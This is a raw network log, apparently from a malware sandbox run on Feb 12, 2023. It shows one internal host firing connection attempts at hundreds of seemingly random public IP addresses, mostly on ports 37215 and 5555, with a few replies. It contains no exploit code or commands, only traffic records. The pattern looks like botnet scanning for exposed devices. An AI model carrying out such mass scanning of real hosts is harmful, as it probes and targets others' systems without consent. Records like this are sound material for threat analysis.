Feb 12, 2023 21:24:37.587397099 CET	52981	37215	192.168.2.23	197.230.27.195
Feb 12, 2023 21:24:37.587397099 CET	52981	37215	192.168.2.23	197.123.245.93
Feb 12, 2023 21:24:37.587397099 CET	52981	37215	192.168.2.23	157.147.177.32
Feb 12, 2023 21:24:37.587398052 CET	52981	37215	192.168.2.23	157.51.150.130
Feb 12, 2023 21:24:37.587407112 CET	52981	37215	192.168.2.23	157.106.255.24
Feb 12, 2023 21:24:37.587415934 CET	52981	37215	192.168.2.23	157.109.197.226
Feb 12, 2023 21:24:37.587419033 CET	52981	37215	192.168.2.23	197.168.0.131
Feb 12, 2023 21:24:37.587426901 CET	52981	37215	192.168.2.23	158.11.11.136
Feb 12, 2023 21:24:37.587445021 CET	52981	37215	192.168.2.23	157.87.237.125
Feb 12, 2023 21:24:37.587451935 CET	52981	37215	192.168.2.23	41.163.208.234
Feb 12, 2023 21:24:37.587452888 CET	52981	37215	192.168.2.23	216.51.129.199
Feb 12, 2023 21:24:37.587452888 CET	52981	37215	192.168.2.23	197.19.8.194
Feb 12, 2023 21:24:37.587460041 CET	52981	37215	192.168.2.23	197.196.75.131
Feb 12, 2023 21:24:37.587471008 CET	52981	37215	192.168.2.23	207.199.105.95
Feb 12, 2023 21:24:37.587477922 CET	52981	37215	192.168.2.23	197.72.72.26
Feb 12, 2023 21:24:37.587481022 CET	52981	37215	192.168.2.23	157.107.195.177
Feb 12, 2023 21:24:37.587495089 CET	52981	37215	192.168.2.23	41.122.252.249
Feb 12, 2023 21:24:37.587496042 CET	52981	37215	192.168.2.23	157.228.10.121
Feb 12, 2023 21:24:37.587496042 CET	52981	37215	192.168.2.23	157.169.156.70
Feb 12, 2023 21:24:37.587508917 CET	52981	37215	192.168.2.23	197.225.97.214
Feb 12, 2023 21:24:37.587510109 CET	52981	37215	192.168.2.23	196.239.82.114
Feb 12, 2023 21:24:37.587519884 CET	52981	37215	192.168.2.23	109.211.139.73
Feb 12, 2023 21:24:37.587519884 CET	52981	37215	192.168.2.23	197.52.103.76
Feb 12, 2023 21:24:37.587527990 CET	52981	37215	192.168.2.23	197.20.131.239
Feb 12, 2023 21:24:37.587533951 CET	52981	37215	192.168.2.23	157.100.173.220
Feb 12, 2023 21:24:37.587541103 CET	52981	37215	192.168.2.23	197.214.56.17
Feb 12, 2023 21:24:37.587559938 CET	52981	37215	192.168.2.23	157.107.105.194
Feb 12, 2023 21:24:37.587560892 CET	52981	37215	192.168.2.23	197.26.105.249
Feb 12, 2023 21:24:37.587568998 CET	52981	37215	192.168.2.23	41.45.184.0
Feb 12, 2023 21:24:37.587568998 CET	52981	37215	192.168.2.23	157.8.155.214
Feb 12, 2023 21:24:37.587575912 CET	52981	37215	192.168.2.23	197.80.146.31
Feb 12, 2023 21:24:37.587582111 CET	52981	37215	192.168.2.23	76.71.157.237
Feb 12, 2023 21:24:37.587594032 CET	52981	37215	192.168.2.23	125.170.234.14
Feb 12, 2023 21:24:37.587594032 CET	52981	37215	192.168.2.23	14.225.21.65
Feb 12, 2023 21:24:37.587601900 CET	52981	37215	192.168.2.23	157.77.124.30
Feb 12, 2023 21:24:37.587605953 CET	52981	37215	192.168.2.23	190.109.210.171
Feb 12, 2023 21:24:37.587620974 CET	52981	37215	192.168.2.23	197.236.82.162
Feb 12, 2023 21:24:37.587622881 CET	52981	37215	192.168.2.23	197.97.182.96
Feb 12, 2023 21:24:37.587622881 CET	52981	37215	192.168.2.23	197.118.95.107
Feb 12, 2023 21:24:37.587645054 CET	52981	37215	192.168.2.23	120.156.206.121
Feb 12, 2023 21:24:37.587646008 CET	52981	37215	192.168.2.23	157.90.241.26
Feb 12, 2023 21:24:37.587646961 CET	52981	37215	192.168.2.23	157.125.250.96
Feb 12, 2023 21:24:37.587660074 CET	52981	37215	192.168.2.23	149.6.139.0
Feb 12, 2023 21:24:37.587660074 CET	52981	37215	192.168.2.23	197.105.81.166
Feb 12, 2023 21:24:37.587665081 CET	52981	37215	192.168.2.23	197.209.73.196
Feb 12, 2023 21:24:37.587683916 CET	52981	37215	192.168.2.23	157.253.247.52
Feb 12, 2023 21:24:37.587683916 CET	52981	37215	192.168.2.23	197.30.207.8
Feb 12, 2023 21:24:37.587687016 CET	52981	37215	192.168.2.23	121.127.102.75
Feb 12, 2023 21:24:37.587699890 CET	52981	37215	192.168.2.23	157.168.180.78
Feb 12, 2023 21:24:37.587719917 CET	52981	37215	192.168.2.23	157.217.118.182
Feb 12, 2023 21:24:37.587719917 CET	52981	37215	192.168.2.23	197.73.245.38
Feb 12, 2023 21:24:37.587719917 CET	52981	37215	192.168.2.23	41.58.190.254
Feb 12, 2023 21:24:37.587723970 CET	52981	37215	192.168.2.23	157.160.10.110
Feb 12, 2023 21:24:37.587728024 CET	52981	37215	192.168.2.23	41.184.85.28
Feb 12, 2023 21:24:37.587745905 CET	52981	37215	192.168.2.23	41.240.67.29
Feb 12, 2023 21:24:37.587749004 CET	52981	37215	192.168.2.23	197.109.89.69
Feb 12, 2023 21:24:37.587754965 CET	52981	37215	192.168.2.23	157.203.208.18
Feb 12, 2023 21:24:37.587758064 CET	52981	37215	192.168.2.23	157.209.66.246
Feb 12, 2023 21:24:37.587763071 CET	52981	37215	192.168.2.23	40.180.223.225
Feb 12, 2023 21:24:37.587791920 CET	52981	37215	192.168.2.23	41.147.244.1
Feb 12, 2023 21:24:37.587794065 CET	52981	37215	192.168.2.23	41.161.2.48
Feb 12, 2023 21:24:37.587794065 CET	52981	37215	192.168.2.23	157.228.87.98
Feb 12, 2023 21:24:37.587796926 CET	52981	37215	192.168.2.23	157.191.144.4
Feb 12, 2023 21:24:37.587796926 CET	52981	37215	192.168.2.23	41.144.105.247
Feb 12, 2023 21:24:37.587811947 CET	52981	37215	192.168.2.23	157.71.12.46
Feb 12, 2023 21:24:37.587811947 CET	52981	37215	192.168.2.23	184.203.194.122
Feb 12, 2023 21:24:37.587811947 CET	52981	37215	192.168.2.23	178.13.176.112
Feb 12, 2023 21:24:37.587814093 CET	52981	37215	192.168.2.23	41.143.102.84
Feb 12, 2023 21:24:37.587815046 CET	52981	37215	192.168.2.23	167.128.154.179
Feb 12, 2023 21:24:37.587811947 CET	52981	37215	192.168.2.23	192.118.36.55
Feb 12, 2023 21:24:37.587821007 CET	52981	37215	192.168.2.23	197.30.44.46
Feb 12, 2023 21:24:37.587831020 CET	52981	37215	192.168.2.23	197.7.21.130
Feb 12, 2023 21:24:37.587836981 CET	52981	37215	192.168.2.23	157.214.97.118
Feb 12, 2023 21:24:37.587852955 CET	52981	37215	192.168.2.23	157.105.150.83
Feb 12, 2023 21:24:37.587852955 CET	52981	37215	192.168.2.23	197.40.99.64
Feb 12, 2023 21:24:37.587855101 CET	52981	37215	192.168.2.23	197.92.220.120
Feb 12, 2023 21:24:37.587857962 CET	52981	37215	192.168.2.23	197.93.176.188
Feb 12, 2023 21:24:37.587878942 CET	52981	37215	192.168.2.23	197.73.85.146
Feb 12, 2023 21:24:37.587879896 CET	52981	37215	192.168.2.23	197.196.23.89
Feb 12, 2023 21:24:37.587888002 CET	52981	37215	192.168.2.23	197.42.153.216
Feb 12, 2023 21:24:37.587897062 CET	52981	37215	192.168.2.23	41.167.170.71
Feb 12, 2023 21:24:37.587903023 CET	52981	37215	192.168.2.23	197.81.97.159
Feb 12, 2023 21:24:37.587901115 CET	52981	37215	192.168.2.23	120.106.227.236
Feb 12, 2023 21:24:37.587920904 CET	52981	37215	192.168.2.23	41.213.243.19
Feb 12, 2023 21:24:37.587927103 CET	52981	37215	192.168.2.23	157.56.173.7
Feb 12, 2023 21:24:37.587901115 CET	52981	37215	192.168.2.23	133.158.115.39
Feb 12, 2023 21:24:37.587901115 CET	52981	37215	192.168.2.23	197.167.234.59
Feb 12, 2023 21:24:37.587901115 CET	52981	37215	192.168.2.23	41.241.169.54
Feb 12, 2023 21:24:37.587933064 CET	52981	37215	192.168.2.23	157.116.150.126
Feb 12, 2023 21:24:37.587944984 CET	52981	37215	192.168.2.23	41.145.129.112
Feb 12, 2023 21:24:37.587953091 CET	52981	37215	192.168.2.23	157.159.48.224
Feb 12, 2023 21:24:37.587960958 CET	52981	37215	192.168.2.23	197.172.226.115
Feb 12, 2023 21:24:37.587974072 CET	52981	37215	192.168.2.23	40.57.93.160
Feb 12, 2023 21:24:37.587977886 CET	52981	37215	192.168.2.23	124.154.16.36
Feb 12, 2023 21:24:37.587987900 CET	52981	37215	192.168.2.23	41.136.172.29
Feb 12, 2023 21:24:37.587992907 CET	52981	37215	192.168.2.23	41.120.199.224
Feb 12, 2023 21:24:37.588002920 CET	52981	37215	192.168.2.23	197.66.208.45
Feb 12, 2023 21:24:37.588016987 CET	52981	37215	192.168.2.23	197.154.200.180
Feb 12, 2023 21:24:37.588027954 CET	52981	37215	192.168.2.23	123.89.56.251
Feb 12, 2023 21:24:37.588036060 CET	52981	37215	192.168.2.23	41.12.155.73
Feb 12, 2023 21:24:37.588047981 CET	52981	37215	192.168.2.23	157.216.214.248
Feb 12, 2023 21:24:37.588057995 CET	52981	37215	192.168.2.23	157.112.99.207
Feb 12, 2023 21:24:37.588071108 CET	52981	37215	192.168.2.23	197.163.91.239
Feb 12, 2023 21:24:37.588076115 CET	52981	37215	192.168.2.23	157.31.84.219
Feb 12, 2023 21:24:37.588083982 CET	52981	37215	192.168.2.23	41.160.226.187
Feb 12, 2023 21:24:37.588098049 CET	52981	37215	192.168.2.23	197.112.184.100
Feb 12, 2023 21:24:37.588098049 CET	52981	37215	192.168.2.23	41.56.248.34
Feb 12, 2023 21:24:37.588108063 CET	52981	37215	192.168.2.23	41.50.159.22
Feb 12, 2023 21:24:37.588109016 CET	52981	37215	192.168.2.23	41.171.181.202
Feb 12, 2023 21:24:37.588110924 CET	52981	37215	192.168.2.23	197.112.166.30
Feb 12, 2023 21:24:37.588112116 CET	52981	37215	192.168.2.23	197.195.74.205
Feb 12, 2023 21:24:37.588134050 CET	52981	37215	192.168.2.23	41.170.76.200
Feb 12, 2023 21:24:37.588135004 CET	52981	37215	192.168.2.23	197.81.80.168
Feb 12, 2023 21:24:37.588134050 CET	52981	37215	192.168.2.23	41.254.253.195
Feb 12, 2023 21:24:37.588134050 CET	52981	37215	192.168.2.23	106.176.57.141
Feb 12, 2023 21:24:37.588134050 CET	52981	37215	192.168.2.23	194.120.209.67
Feb 12, 2023 21:24:37.588135004 CET	52981	37215	192.168.2.23	41.80.38.239
Feb 12, 2023 21:24:37.588135004 CET	52981	37215	192.168.2.23	206.1.233.116
Feb 12, 2023 21:24:37.588139057 CET	52981	37215	192.168.2.23	41.176.153.88
Feb 12, 2023 21:24:37.588140011 CET	52981	37215	192.168.2.23	197.146.200.118
Feb 12, 2023 21:24:37.588159084 CET	52981	37215	192.168.2.23	207.221.190.211
Feb 12, 2023 21:24:37.588164091 CET	52981	37215	192.168.2.23	195.4.55.45
Feb 12, 2023 21:24:37.588164091 CET	52981	37215	192.168.2.23	41.38.188.95
Feb 12, 2023 21:24:37.588165998 CET	52981	37215	192.168.2.23	197.166.139.243
Feb 12, 2023 21:24:37.588164091 CET	52981	37215	192.168.2.23	197.98.246.58
Feb 12, 2023 21:24:37.588165998 CET	52981	37215	192.168.2.23	157.6.6.173
Feb 12, 2023 21:24:37.588165998 CET	52981	37215	192.168.2.23	41.17.86.207
Feb 12, 2023 21:24:37.588171959 CET	52981	37215	192.168.2.23	41.28.64.11
Feb 12, 2023 21:24:37.588202000 CET	52981	37215	192.168.2.23	157.161.239.64
Feb 12, 2023 21:24:37.588203907 CET	52981	37215	192.168.2.23	157.226.6.217
Feb 12, 2023 21:24:37.588216066 CET	52981	37215	192.168.2.23	157.32.243.228
Feb 12, 2023 21:24:37.588226080 CET	52981	37215	192.168.2.23	157.216.49.15
Feb 12, 2023 21:24:37.588227987 CET	52981	37215	192.168.2.23	41.172.103.7
Feb 12, 2023 21:24:37.588242054 CET	52981	37215	192.168.2.23	78.68.37.118
Feb 12, 2023 21:24:37.588242054 CET	52981	37215	192.168.2.23	44.116.205.168
Feb 12, 2023 21:24:37.588252068 CET	52981	37215	192.168.2.23	41.22.38.1
Feb 12, 2023 21:24:37.588252068 CET	52981	37215	192.168.2.23	157.46.205.118
Feb 12, 2023 21:24:37.588254929 CET	52981	37215	192.168.2.23	197.42.254.207
Feb 12, 2023 21:24:37.588345051 CET	60688	37215	192.168.2.23	197.1.109.43
Feb 12, 2023 21:24:37.595915079 CET	22272	5555	192.168.2.23	86.205.126.151
Feb 12, 2023 21:24:37.595937014 CET	22272	5555	192.168.2.23	173.42.58.133
Feb 12, 2023 21:24:37.595938921 CET	22272	5555	192.168.2.23	131.232.148.190
Feb 12, 2023 21:24:37.595936060 CET	22272	5555	192.168.2.23	23.178.25.105
Feb 12, 2023 21:24:37.595937014 CET	22272	5555	192.168.2.23	145.79.245.83
Feb 12, 2023 21:24:37.595938921 CET	22272	5555	192.168.2.23	23.126.32.191
Feb 12, 2023 21:24:37.595936060 CET	22272	5555	192.168.2.23	25.228.31.62
Feb 12, 2023 21:24:37.595953941 CET	22272	5555	192.168.2.23	161.123.70.146
Feb 12, 2023 21:24:37.595953941 CET	22272	5555	192.168.2.23	197.18.76.90
Feb 12, 2023 21:24:37.595957041 CET	22272	5555	192.168.2.23	155.209.74.190
Feb 12, 2023 21:24:37.595953941 CET	22272	5555	192.168.2.23	173.140.251.44
Feb 12, 2023 21:24:37.595953941 CET	22272	5555	192.168.2.23	72.140.81.226
Feb 12, 2023 21:24:37.595957041 CET	22272	5555	192.168.2.23	97.1.184.173
Feb 12, 2023 21:24:37.595973015 CET	22272	5555	192.168.2.23	87.193.100.91
Feb 12, 2023 21:24:37.595973015 CET	22272	5555	192.168.2.23	164.136.26.101
Feb 12, 2023 21:24:37.595979929 CET	22272	5555	192.168.2.23	156.223.79.201
Feb 12, 2023 21:24:37.595978975 CET	22272	5555	192.168.2.23	114.78.205.79
Feb 12, 2023 21:24:37.595979929 CET	22272	5555	192.168.2.23	211.5.250.196
Feb 12, 2023 21:24:37.595979929 CET	22272	5555	192.168.2.23	199.221.90.228
Feb 12, 2023 21:24:37.595990896 CET	22272	5555	192.168.2.23	216.149.229.83
Feb 12, 2023 21:24:37.595997095 CET	22272	5555	192.168.2.23	61.186.39.249
Feb 12, 2023 21:24:37.595997095 CET	22272	5555	192.168.2.23	125.239.103.57
Feb 12, 2023 21:24:37.596004963 CET	22272	5555	192.168.2.23	53.101.16.244
Feb 12, 2023 21:24:37.596004963 CET	22272	5555	192.168.2.23	96.154.238.205
Feb 12, 2023 21:24:37.596004963 CET	22272	5555	192.168.2.23	212.84.104.163
Feb 12, 2023 21:24:37.596009016 CET	22272	5555	192.168.2.23	117.48.34.38
Feb 12, 2023 21:24:37.596009016 CET	22272	5555	192.168.2.23	148.22.3.112
Feb 12, 2023 21:24:37.596009016 CET	22272	5555	192.168.2.23	116.202.250.12
Feb 12, 2023 21:24:37.596014023 CET	22272	5555	192.168.2.23	155.217.66.237
Feb 12, 2023 21:24:37.596024990 CET	22272	5555	192.168.2.23	96.61.123.117
Feb 12, 2023 21:24:37.596025944 CET	22272	5555	192.168.2.23	130.102.142.169
Feb 12, 2023 21:24:37.596024990 CET	22272	5555	192.168.2.23	31.57.46.199
Feb 12, 2023 21:24:37.596041918 CET	22272	5555	192.168.2.23	83.137.141.247
Feb 12, 2023 21:24:37.596056938 CET	22272	5555	192.168.2.23	76.215.16.47
Feb 12, 2023 21:24:37.596059084 CET	22272	5555	192.168.2.23	141.58.223.230
Feb 12, 2023 21:24:37.596066952 CET	22272	5555	192.168.2.23	120.51.138.135
Feb 12, 2023 21:24:37.596066952 CET	22272	5555	192.168.2.23	48.13.13.133
Feb 12, 2023 21:24:37.596074104 CET	22272	5555	192.168.2.23	208.140.4.253
Feb 12, 2023 21:24:37.596090078 CET	22272	5555	192.168.2.23	113.237.232.169
Feb 12, 2023 21:24:37.596093893 CET	22272	5555	192.168.2.23	198.116.109.20
Feb 12, 2023 21:24:37.596133947 CET	22272	5555	192.168.2.23	171.53.119.11
Feb 12, 2023 21:24:37.596143007 CET	22272	5555	192.168.2.23	131.30.199.96
Feb 12, 2023 21:24:37.596158981 CET	22272	5555	192.168.2.23	216.227.62.24
Feb 12, 2023 21:24:37.596164942 CET	22272	5555	192.168.2.23	141.10.213.164
Feb 12, 2023 21:24:37.596164942 CET	22272	5555	192.168.2.23	206.52.154.191
Feb 12, 2023 21:24:37.596174002 CET	22272	5555	192.168.2.23	178.250.2.70
Feb 12, 2023 21:24:37.596189976 CET	22272	5555	192.168.2.23	196.25.62.179
Feb 12, 2023 21:24:37.596213102 CET	22272	5555	192.168.2.23	39.221.133.208
Feb 12, 2023 21:24:37.596229076 CET	22272	5555	192.168.2.23	77.77.190.73
Feb 12, 2023 21:24:37.596237898 CET	22272	5555	192.168.2.23	121.81.159.69
Feb 12, 2023 21:24:37.596240044 CET	22272	5555	192.168.2.23	155.218.51.45
Feb 12, 2023 21:24:37.596256971 CET	22272	5555	192.168.2.23	155.239.16.85
Feb 12, 2023 21:24:37.596275091 CET	22272	5555	192.168.2.23	54.146.92.19
Feb 12, 2023 21:24:37.596280098 CET	22272	5555	192.168.2.23	145.102.165.245
Feb 12, 2023 21:24:37.596280098 CET	22272	5555	192.168.2.23	135.146.145.240
Feb 12, 2023 21:24:37.596283913 CET	22272	5555	192.168.2.23	107.209.219.97
Feb 12, 2023 21:24:37.596304893 CET	22272	5555	192.168.2.23	153.73.26.139
Feb 12, 2023 21:24:37.596304893 CET	22272	5555	192.168.2.23	66.224.117.152
Feb 12, 2023 21:24:37.596304893 CET	22272	5555	192.168.2.23	213.155.16.168
Feb 12, 2023 21:24:37.596309900 CET	22272	5555	192.168.2.23	121.47.199.184
Feb 12, 2023 21:24:37.596332073 CET	22272	5555	192.168.2.23	60.91.198.204
Feb 12, 2023 21:24:37.596337080 CET	22272	5555	192.168.2.23	71.237.33.139
Feb 12, 2023 21:24:37.596342087 CET	22272	5555	192.168.2.23	130.38.186.242
Feb 12, 2023 21:24:37.596349955 CET	22272	5555	192.168.2.23	18.228.200.97
Feb 12, 2023 21:24:37.596352100 CET	22272	5555	192.168.2.23	93.194.125.153
Feb 12, 2023 21:24:37.596359015 CET	22272	5555	192.168.2.23	90.138.51.250
Feb 12, 2023 21:24:37.596373081 CET	22272	5555	192.168.2.23	194.173.168.49
Feb 12, 2023 21:24:37.596380949 CET	22272	5555	192.168.2.23	9.135.169.79
Feb 12, 2023 21:24:37.596390963 CET	22272	5555	192.168.2.23	23.140.64.16
Feb 12, 2023 21:24:37.596402884 CET	22272	5555	192.168.2.23	19.94.245.247
Feb 12, 2023 21:24:37.596407890 CET	22272	5555	192.168.2.23	142.177.191.124
Feb 12, 2023 21:24:37.596410990 CET	22272	5555	192.168.2.23	69.149.153.15
Feb 12, 2023 21:24:37.596421957 CET	22272	5555	192.168.2.23	144.74.35.18
Feb 12, 2023 21:24:37.596426010 CET	22272	5555	192.168.2.23	38.98.208.20
Feb 12, 2023 21:24:37.596435070 CET	22272	5555	192.168.2.23	87.22.73.135
Feb 12, 2023 21:24:37.596450090 CET	22272	5555	192.168.2.23	90.152.24.198
Feb 12, 2023 21:24:37.596468925 CET	22272	5555	192.168.2.23	63.13.102.252
Feb 12, 2023 21:24:37.596477032 CET	22272	5555	192.168.2.23	128.55.144.79
Feb 12, 2023 21:24:37.596482992 CET	22272	5555	192.168.2.23	41.148.64.148
Feb 12, 2023 21:24:37.596494913 CET	22272	5555	192.168.2.23	149.107.218.172
Feb 12, 2023 21:24:37.596520901 CET	22272	5555	192.168.2.23	45.29.34.123
Feb 12, 2023 21:24:37.596520901 CET	22272	5555	192.168.2.23	187.23.62.160
Feb 12, 2023 21:24:37.596537113 CET	22272	5555	192.168.2.23	74.93.139.3
Feb 12, 2023 21:24:37.596539021 CET	22272	5555	192.168.2.23	31.210.31.251
Feb 12, 2023 21:24:37.596539021 CET	22272	5555	192.168.2.23	132.153.179.174
Feb 12, 2023 21:24:37.596540928 CET	22272	5555	192.168.2.23	167.76.248.11
Feb 12, 2023 21:24:37.596540928 CET	22272	5555	192.168.2.23	123.99.63.174
Feb 12, 2023 21:24:37.596541882 CET	22272	5555	192.168.2.23	35.86.53.68
Feb 12, 2023 21:24:37.596543074 CET	22272	5555	192.168.2.23	119.242.194.52
Feb 12, 2023 21:24:37.596544027 CET	22272	5555	192.168.2.23	142.125.70.0
Feb 12, 2023 21:24:37.596549034 CET	22272	5555	192.168.2.23	71.214.154.100
Feb 12, 2023 21:24:37.596564054 CET	22272	5555	192.168.2.23	202.33.68.20
Feb 12, 2023 21:24:37.596568108 CET	22272	5555	192.168.2.23	180.182.146.252
Feb 12, 2023 21:24:37.596568108 CET	22272	5555	192.168.2.23	4.54.167.26
Feb 12, 2023 21:24:37.596568108 CET	22272	5555	192.168.2.23	189.57.167.12
Feb 12, 2023 21:24:37.596585035 CET	22272	5555	192.168.2.23	2.199.138.205
Feb 12, 2023 21:24:37.596587896 CET	22272	5555	192.168.2.23	199.22.39.24
Feb 12, 2023 21:24:37.596596003 CET	22272	5555	192.168.2.23	184.235.106.5
Feb 12, 2023 21:24:37.596596003 CET	22272	5555	192.168.2.23	144.147.182.251
Feb 12, 2023 21:24:37.596597910 CET	22272	5555	192.168.2.23	85.155.161.248
Feb 12, 2023 21:24:37.596596003 CET	22272	5555	192.168.2.23	159.104.104.118
Feb 12, 2023 21:24:37.596596003 CET	22272	5555	192.168.2.23	219.176.25.242
Feb 12, 2023 21:24:37.596601963 CET	22272	5555	192.168.2.23	75.100.4.86
Feb 12, 2023 21:24:37.596587896 CET	22272	5555	192.168.2.23	68.54.202.56
Feb 12, 2023 21:24:37.596587896 CET	22272	5555	192.168.2.23	78.150.63.47
Feb 12, 2023 21:24:37.596616983 CET	22272	5555	192.168.2.23	221.138.223.15
Feb 12, 2023 21:24:37.596621037 CET	22272	5555	192.168.2.23	110.173.216.174
Feb 12, 2023 21:24:37.596653938 CET	22272	5555	192.168.2.23	101.162.15.166
Feb 12, 2023 21:24:37.596653938 CET	22272	5555	192.168.2.23	71.152.92.196
Feb 12, 2023 21:24:37.596657038 CET	22272	5555	192.168.2.23	36.183.192.50
Feb 12, 2023 21:24:37.596657038 CET	22272	5555	192.168.2.23	216.240.26.97
Feb 12, 2023 21:24:37.596657038 CET	22272	5555	192.168.2.23	187.154.151.225
Feb 12, 2023 21:24:37.596672058 CET	22272	5555	192.168.2.23	57.115.168.84
Feb 12, 2023 21:24:37.596676111 CET	22272	5555	192.168.2.23	58.17.182.181
Feb 12, 2023 21:24:37.596685886 CET	22272	5555	192.168.2.23	155.211.2.241
Feb 12, 2023 21:24:37.596685886 CET	22272	5555	192.168.2.23	111.253.122.15
Feb 12, 2023 21:24:37.596690893 CET	22272	5555	192.168.2.23	168.93.20.102
Feb 12, 2023 21:24:37.596698046 CET	22272	5555	192.168.2.23	156.48.123.175
Feb 12, 2023 21:24:37.596698046 CET	22272	5555	192.168.2.23	48.7.89.246
Feb 12, 2023 21:24:37.596714973 CET	22272	5555	192.168.2.23	198.46.133.201
Feb 12, 2023 21:24:37.596721888 CET	22272	5555	192.168.2.23	53.215.32.63
Feb 12, 2023 21:24:37.596731901 CET	22272	5555	192.168.2.23	167.46.30.20
Feb 12, 2023 21:24:37.596731901 CET	22272	5555	192.168.2.23	25.117.181.221
Feb 12, 2023 21:24:37.596735954 CET	22272	5555	192.168.2.23	52.212.67.162
Feb 12, 2023 21:24:37.596749067 CET	22272	5555	192.168.2.23	98.5.185.10
Feb 12, 2023 21:24:37.596764088 CET	22272	5555	192.168.2.23	138.97.22.33
Feb 12, 2023 21:24:37.596780062 CET	22272	5555	192.168.2.23	91.51.78.129
Feb 12, 2023 21:24:37.596780062 CET	22272	5555	192.168.2.23	143.136.200.199
Feb 12, 2023 21:24:37.596791983 CET	22272	5555	192.168.2.23	27.123.221.20
Feb 12, 2023 21:24:37.596810102 CET	22272	5555	192.168.2.23	8.194.224.85
Feb 12, 2023 21:24:37.596812010 CET	22272	5555	192.168.2.23	222.146.63.171
Feb 12, 2023 21:24:37.596817017 CET	22272	5555	192.168.2.23	148.44.70.152
Feb 12, 2023 21:24:37.596820116 CET	22272	5555	192.168.2.23	14.112.92.0
Feb 12, 2023 21:24:37.596822023 CET	22272	5555	192.168.2.23	66.17.11.156
Feb 12, 2023 21:24:37.596822023 CET	22272	5555	192.168.2.23	62.74.4.105
Feb 12, 2023 21:24:37.596822023 CET	22272	5555	192.168.2.23	61.73.153.134
Feb 12, 2023 21:24:37.596832991 CET	22272	5555	192.168.2.23	41.248.168.23
Feb 12, 2023 21:24:37.596834898 CET	22272	5555	192.168.2.23	173.133.253.182
Feb 12, 2023 21:24:37.596839905 CET	22272	5555	192.168.2.23	17.20.184.227
Feb 12, 2023 21:24:37.596856117 CET	22272	5555	192.168.2.23	14.20.142.254
Feb 12, 2023 21:24:37.596864939 CET	22272	5555	192.168.2.23	210.125.175.148
Feb 12, 2023 21:24:37.596865892 CET	22272	5555	192.168.2.23	213.167.30.7
Feb 12, 2023 21:24:37.596869946 CET	22272	5555	192.168.2.23	152.63.153.107
Feb 12, 2023 21:24:37.596880913 CET	22272	5555	192.168.2.23	137.79.128.196
Feb 12, 2023 21:24:37.596889019 CET	22272	5555	192.168.2.23	109.60.81.73
Feb 12, 2023 21:24:37.596894979 CET	22272	5555	192.168.2.23	213.127.74.88
Feb 12, 2023 21:24:37.596899986 CET	22272	5555	192.168.2.23	153.123.144.113
Feb 12, 2023 21:24:37.596915007 CET	22272	5555	192.168.2.23	217.177.127.97
Feb 12, 2023 21:24:37.596919060 CET	22272	5555	192.168.2.23	167.143.218.54
Feb 12, 2023 21:24:37.596935034 CET	22272	5555	192.168.2.23	64.185.97.195
Feb 12, 2023 21:24:37.596936941 CET	22272	5555	192.168.2.23	152.193.227.51
Feb 12, 2023 21:24:37.596937895 CET	22272	5555	192.168.2.23	201.241.231.198
Feb 12, 2023 21:24:37.596945047 CET	22272	5555	192.168.2.23	145.145.205.249
Feb 12, 2023 21:24:37.596949100 CET	22272	5555	192.168.2.23	111.210.92.245
Feb 12, 2023 21:24:37.596949100 CET	22272	5555	192.168.2.23	57.127.210.236
Feb 12, 2023 21:24:37.596950054 CET	22272	5555	192.168.2.23	218.123.107.134
Feb 12, 2023 21:24:37.596949100 CET	22272	5555	192.168.2.23	220.196.72.96
Feb 12, 2023 21:24:37.596960068 CET	22272	5555	192.168.2.23	66.94.111.90
Feb 12, 2023 21:24:37.596967936 CET	22272	5555	192.168.2.23	212.39.189.109
Feb 12, 2023 21:24:37.596975088 CET	22272	5555	192.168.2.23	100.170.60.240
Feb 12, 2023 21:24:37.618045092 CET	37215	52981	149.6.139.0	192.168.2.23
Feb 12, 2023 21:24:37.629226923 CET	5555	22272	178.250.2.70	192.168.2.23
Feb 12, 2023 21:24:37.650620937 CET	37215	52981	195.32.55.176	192.168.2.23
Feb 12, 2023 21:24:37.659425974 CET	37215	60688	197.1.109.43	192.168.2.23
Feb 12, 2023 21:24:37.659548998 CET	60688	37215	192.168.2.23	197.1.109.43
Feb 12, 2023 21:24:37.659734011 CET	60688	37215	192.168.2.23	197.1.109.43
Feb 12, 2023 21:24:37.659746885 CET	60688	37215	192.168.2.23	197.1.109.43
Feb 12, 2023 21:24:37.703939915 CET	5555	22272	66.94.111.90	192.168.2.23
Feb 12, 2023 21:24:37.716895103 CET	5555	22272	198.46.133.201	192.168.2.23
Feb 12, 2023 21:24:37.720335007 CET	37215	52981	41.184.242.125	192.168.2.23
Feb 12, 2023 21:24:37.727150917 CET	37215	60688	197.1.109.43	192.168.2.23
Feb 12, 2023 21:24:37.729466915 CET	37215	60688	197.1.109.43	192.168.2.23
Feb 12, 2023 21:24:37.729686975 CET	60688	37215	192.168.2.23	197.1.109.43
Feb 12, 2023 21:24:37.734853029 CET	37215	60688	197.1.109.43	192.168.2.23
Feb 12, 2023 21:24:37.735075951 CET	60688	37215	192.168.2.23	197.1.109.43
Feb 12, 2023 21:24:37.766038895 CET	37215	52981	197.232.71.206	192.168.2.23
Feb 12, 2023 21:24:37.783930063 CET	37215	52981	41.23.249.33	192.168.2.23
Feb 12, 2023 21:24:37.796602964 CET	53504	7574	192.168.2.23	57.53.46.50
Feb 12, 2023 21:24:37.808285952 CET	38060	8080	192.168.2.23	52.55.46.50
Feb 12, 2023 21:24:37.839931965 CET	5555	22272	138.97.22.33	192.168.2.23
Feb 12, 2023 21:24:37.839975119 CET	5555	22272	201.241.231.198	192.168.2.23
Feb 12, 2023 21:24:37.840265036 CET	44026	8080	192.168.2.23	49.53.53.46
Feb 12, 2023 21:24:37.847088099 CET	37215	52981	183.112.9.43	192.168.2.23
Feb 12, 2023 21:24:37.854259968 CET	5555	22272	187.23.62.160	192.168.2.23
Feb 12, 2023 21:24:37.872364044 CET	49238	8080	192.168.2.23	49.57.55.46
Feb 12, 2023 21:24:37.888859034 CET	5555	22272	60.91.198.204	192.168.2.23
Feb 12, 2023 21:24:37.904370070 CET	55892	8080	192.168.2.23	49.57.46.49
Feb 12, 2023 21:24:37.904382944 CET	43862	80	192.168.2.23	49.55.55.46
Feb 12, 2023 21:24:37.936314106 CET	37692	8080	192.168.2.23	50.48.56.46
Feb 12, 2023 21:24:37.936314106 CET	52990	8080	192.168.2.23	49.50.46.49
Feb 12, 2023 21:24:37.968337059 CET	55248	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:38.000297070 CET	34012	8080	192.168.2.23	49.49.53.46
Feb 12, 2023 21:24:38.000318050 CET	47720	5555	192.168.2.23	49.50.57.46
Feb 12, 2023 21:24:38.000318050 CET	47252	8080	192.168.2.23	57.54.46.49
